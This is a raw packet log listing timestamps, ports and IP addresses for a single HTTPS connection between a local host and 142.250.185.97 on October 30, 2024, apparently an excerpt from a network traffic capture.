Oct 30, 2024 07:53:39.453404903 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.453409910 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.453509092 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.453557014 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.453562021 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.460891008 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.460957050 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.460963011 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.461056948 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.461112022 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.461117029 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.461205006 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.461246967 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.461260080 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.468787909 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.468848944 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.468854904 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.469582081 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.469623089 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.469628096 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.477755070 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.477816105 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.477823019 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.480954885 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.481009007 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.481014967 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.486661911 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.486737967 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.486743927 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.492630005 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.492688894 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.492695093 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.498200893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.498256922 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.498264074 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.503920078 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.503972054 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.503978014 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.509378910 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.509435892 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.509443045 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.526675940 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.526731014 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.526736975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.574892998 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.574951887 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.574959040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575038910 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575086117 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.575092077 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575417995 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575468063 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.575476885 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575746059 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575793028 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.575798035 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575903893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.575953960 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.575958967 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.576456070 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.576519966 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.576524973 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.576627970 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.576678038 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.576683044 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.576796055 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.576841116 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.576845884 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.577434063 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.577487946 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.577492952 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.577588081 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.577630043 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.577635050 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.577733040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.577780962 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.577788115 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.578217983 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.578263998 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.578277111 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.579983950 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.580066919 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.580077887 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.580082893 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.580121994 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.582863092 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.585905075 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.585958958 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.585966110 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.588820934 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.588872910 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.588877916 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.592281103 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.592335939 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.592349052 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.594734907 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.594779968 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.594784975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.597620010 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.597662926 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.597675085 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.600716114 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.600769997 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.600775957 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.603308916 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.603372097 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.603375912 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.606206894 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.606256008 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.606261015 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.609215975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.609266043 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.609272957 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.611836910 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.611881971 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.611886978 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.614564896 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.614612103 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.614617109 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.617299080 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.617352962 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.617358923 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.619827986 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.619874001 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.619882107 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.622571945 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.622638941 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.622643948 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.625207901 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.625262976 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.625267982 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.627695084 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.627746105 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.627751112 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.630399942 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.630451918 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.630456924 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.632889986 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.632942915 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.632947922 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.636336088 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.636383057 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.636388063 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.638123035 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.638166904 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.638171911 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.640497923 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.640547991 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.640552998 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.642982960 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.643032074 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.643037081 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.645464897 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.645517111 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.645522118 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.645664930 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.645711899 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.645716906 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.648036003 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.648087978 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.648093939 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.650254965 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.650310040 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.650315046 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.653378963 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.653430939 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.653436899 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.698808908 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.698882103 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.698889971 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.698964119 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699011087 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.699023962 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699153900 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699198008 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.699203014 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699378967 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699431896 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.699436903 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699579000 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699626923 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.699630976 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699759960 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.699809074 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.699815035 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700047970 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700095892 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.700099945 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700367928 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700408936 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.700413942 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700562000 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700606108 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.700613022 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700756073 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700800896 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.700805902 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.700961113 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.701008081 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.701018095 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.701281071 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.701328039 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.701333046 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.701448917 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.701487064 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.701499939 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.701623917 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.701666117 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.701669931 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702007055 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702069044 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.702073097 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702213049 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702261925 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.702265978 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702368021 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702418089 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.702423096 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702519894 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702574968 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.702586889 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702872038 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.702922106 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.702927113 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.703155041 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.703203917 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.703208923 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.703305006 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.703356028 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.703366041 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.704395056 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.704442978 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.704449892 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.704540968 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.704588890 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.704593897 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.705955982 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.706003904 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.706008911 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.707644939 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.707685947 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.707690954 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.709419012 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.709464073 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.709475040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.711375952 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.711426020 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.711431026 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.713087082 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.713133097 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.713138103 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.715054035 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.715101004 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.715106010 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.716643095 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.716689110 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.716695070 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.718508005 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.718574047 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.718579054 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.720371962 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.720417023 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.720423937 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.722090960 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.722138882 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.722143888 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.723984957 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.724031925 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.724036932 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.725507975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.725553036 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.725558996 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.727149010 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.727209091 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.727215052 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.728852034 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.728899956 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.728907108 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.730382919 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.730429888 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.730434895 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.732070923 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.732115030 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.732120037 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.733642101 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.733689070 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.733694077 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.735352039 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.735398054 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.735403061 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.737241983 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.737286091 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.737292051 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.947369099 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.947428942 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.975822926 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976110935 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976156950 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.976171017 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976315975 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976366997 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.976372004 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976525068 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976566076 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.976571083 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976687908 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976736069 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.976742029 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976855040 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.976900101 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.976903915 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977030993 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977077961 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.977083921 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977197886 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977245092 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.977248907 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977374077 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977420092 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.977425098 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977590084 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977646112 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.977649927 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977746010 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977786064 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.977791071 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977916002 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.977961063 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.977967978 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978090048 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978132963 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.978138924 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978262901 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978307962 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.978312016 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978420019 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978466034 CET	49174	443	192.168.2.22	142.250.185.97
Oct 30, 2024 07:53:39.978471041 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978570938 CET	443	49174	142.250.185.97	192.168.2.22
Oct 30, 2024 07:53:39.978615046 CET	49174	443	192.168.2.22	142.250.185.97
